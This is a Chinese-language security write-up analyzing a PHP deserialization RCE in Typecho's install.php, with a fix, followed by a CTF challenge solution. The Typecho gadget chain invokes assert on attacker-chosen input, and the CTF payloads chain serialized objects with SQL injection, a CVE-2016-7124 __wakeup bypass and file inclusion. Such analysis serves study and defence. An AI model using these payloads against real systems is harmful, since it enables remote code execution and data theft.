$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) {
......
} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}
}
......
}
}

上图代码 第7行 ,满足 self::RSS2$this->_type 相等进入该分支,所以 $this->_type 需要构造,item[‘author’] 为触发点,需要构造 $this_items ,具体构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct()
{
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}

class Typecho_Feed
{
private $_type;
private $_items = array();

public function __construct()
{
$this->_type = 'RSS 2.0';
$item['author'] = new Typecho_Request();
$item['category'] = Array(new Typecho_Request());
$this->_items[0] = $item;
}
}

$x = new Typecho_Feed();
$a = array(
'adapter' => $x,
'prefix' => 'typecho_'
);

echo base64_encode(serialize($a));

代码 22行 在实际利用没必要添加,install.php在代码 54行 调用 ob_start() 函数,该函数对输出内容进行缓冲,反序列化漏洞利用结束后,在var\Typecho\Db.php代码121行,触发异常,在 var\Typecho\Common.php 代码237行调用 ob_end_clean()函数 清除了缓冲区内容,导致无法看见执行结果,考虑在进入到异常处理前提前报错结束程序。由此构造该数据。执行结果如下:

修复建议

造成该漏洞的原因主要有两点:

  • config.inc.php 文件存在的时,可绕过判断继续往下执行代码。
  • 传入反序列化函数的参数可控

修复方法:在 install.php 文件第一行判断 config.inc.php 是否存在,如果存在,则退出代码执行。

1
2
3
4
<?php 
if (file_exists(dirname(__FILE__) . '/config.inc.php'))
exit('Access Denied');
?>

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
include "config.php";

class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function source() {
highlight_file(__FILE__);
}

function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

?>
1
2
3
4
5
6
7
8
//config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
1
2
3
4
5
6
// flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

访问flag.php,显示禁止访问,题目默认显示源码,在下图代码57行,数据库查询内容不为空的情况下,定义常量IN_FLAG,猜测需要满足该条件才能访问flag.php。然后调用loadData函数。loadData函数,对传入参数进行判断,如果验证通过,则作为参数传入到反序列化函数,验证不通过返回为空,该判断绕过可参考Day11,传入内容来源于数据库查询结果,此时可考虑如何构造数据库查询结果。

在index.php页面显示源码中,我们发现SoFun类,如下图,在**__destruct()函数中,会对类变量$this->file所对应的文件进行包含,类变量反序列化可控,在loadData函数调用前,对IN_FLAG常量进行了设置,如果loadData函数传入参数值为SoFun类反序列化字符串,且控制类变量$this->file=flag.php,则可以包含flag.php文件,此时'IN_FLAG'已经设置,可获取到flag,需考虑绕过__wakeup函数。

考虑如何控制loadData函数传入参数的值,从下图可知,$obj->role来源于数据库查询结果,而构建sql语句的username字段来源于**$username**,$username变量来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,如果login()函数传入参数可控,可通过union联合查询,构造查询结果,使构造数据为SoFun类序列化字符串。我们去看一下login函数的调用。

在HINCON类**__destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method=’login’则可以调用login()函数,$this->method为类变量,反序列化可控。$this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。在进行反序列化时,会调用__wakeup对类变量args进行处理,此时调用mysql_escape_string函数对$this->args进行转义。可通过CVE-2016-7124,序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup**的执行。绕过检测,进行sql注入。
总结一下思路:

  1. 构造HITCON类反序列化字符串,其中**$method=’login’,$args**数组’username’部分可用于构造SQL语句,进行SQL注入,’password’部分任意设置。

  2. 调用login()函数后,利用$username构造联合查询,使查询结果为SoFun类反序列化字符串,设置**$file=’flag.php’,需绕过__wakeup()**函数。

  3. 绕过**LoadData()**函数对反序列化字符串的验证,参考Day11。

  4. SoFun类 __destruct()函数调用后,包含flag.php文件,获取flag,需绕过__wakeup()函数。
    第二个答案是另一种思路,大家可研究一下。
    注:因为传参方式为GET,注意进行URL编码。

    1
    2
    3
    O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}
    O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
    a:1:{s:2:"xx";O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}
    1
    O:5:"SoFun":3:{s:4:"file";s:8:"flag.php";s:2:"ff";O:6:"HITCON":5:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:12:"1' or '1'--+";i:1;s:3:"111";}s:4:"conn";N;}}

    上述第二个答案的思路:

  5. 构造对象和方法调用:

    • 利用 HITCON 类的 __destruct() 方法在对象被销毁时自动调用。这个方法会检查 method 属性中指定的方法是否属于允许的方法列表(loginsource),然后动态调用这些方法。
    • 序列化的 HITCON 对象中设置 method 属性为 login,并且通过 args 属性传入用户名和密码,其中用户名部分被设计为 SQL 注入代码。
  6. SQL 注入:

    • login() 方法中,构造的 SQL 查询受到 username 字段的影响,这里使用的 sprintf() 函数对 usernamepassword 进行格式化并嵌入到 SQL 语句中,允许注入恶意 SQL 代码。
    • 示例中的用户名 "1' union select 1,2,'a:1:{s:2:"xx";O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}}'--" 通过 SQL 注入改变了查询结果,让查询返回一个新的 SoFun 类的序列化字符串。
  7. 反序列化和文件包含:

    • SoFun 类在其 __destruct() 方法中包含一个指定的文件,通过修改 file 属性指向 flag.php,可以在脚本执行末尾包含并执行该文件。
    • 反序列化字符串中,SoFun 对象设置 file 属性为 "flag.php",在 __destruct() 被调用时包含这个文件,导致执行 flag.php 中的代码并输出 flag。
  8. 绕过__wakeup()安全措施:

    • SoFun 类中,__wakeup() 方法将 file 属性重置为 "index.php",为了绕过这个重置,注入的 SQL 必须在 SoFun 对象被反序列化之后执行,以确保 file 的值在执行 __destruct() 时是 "flag.php"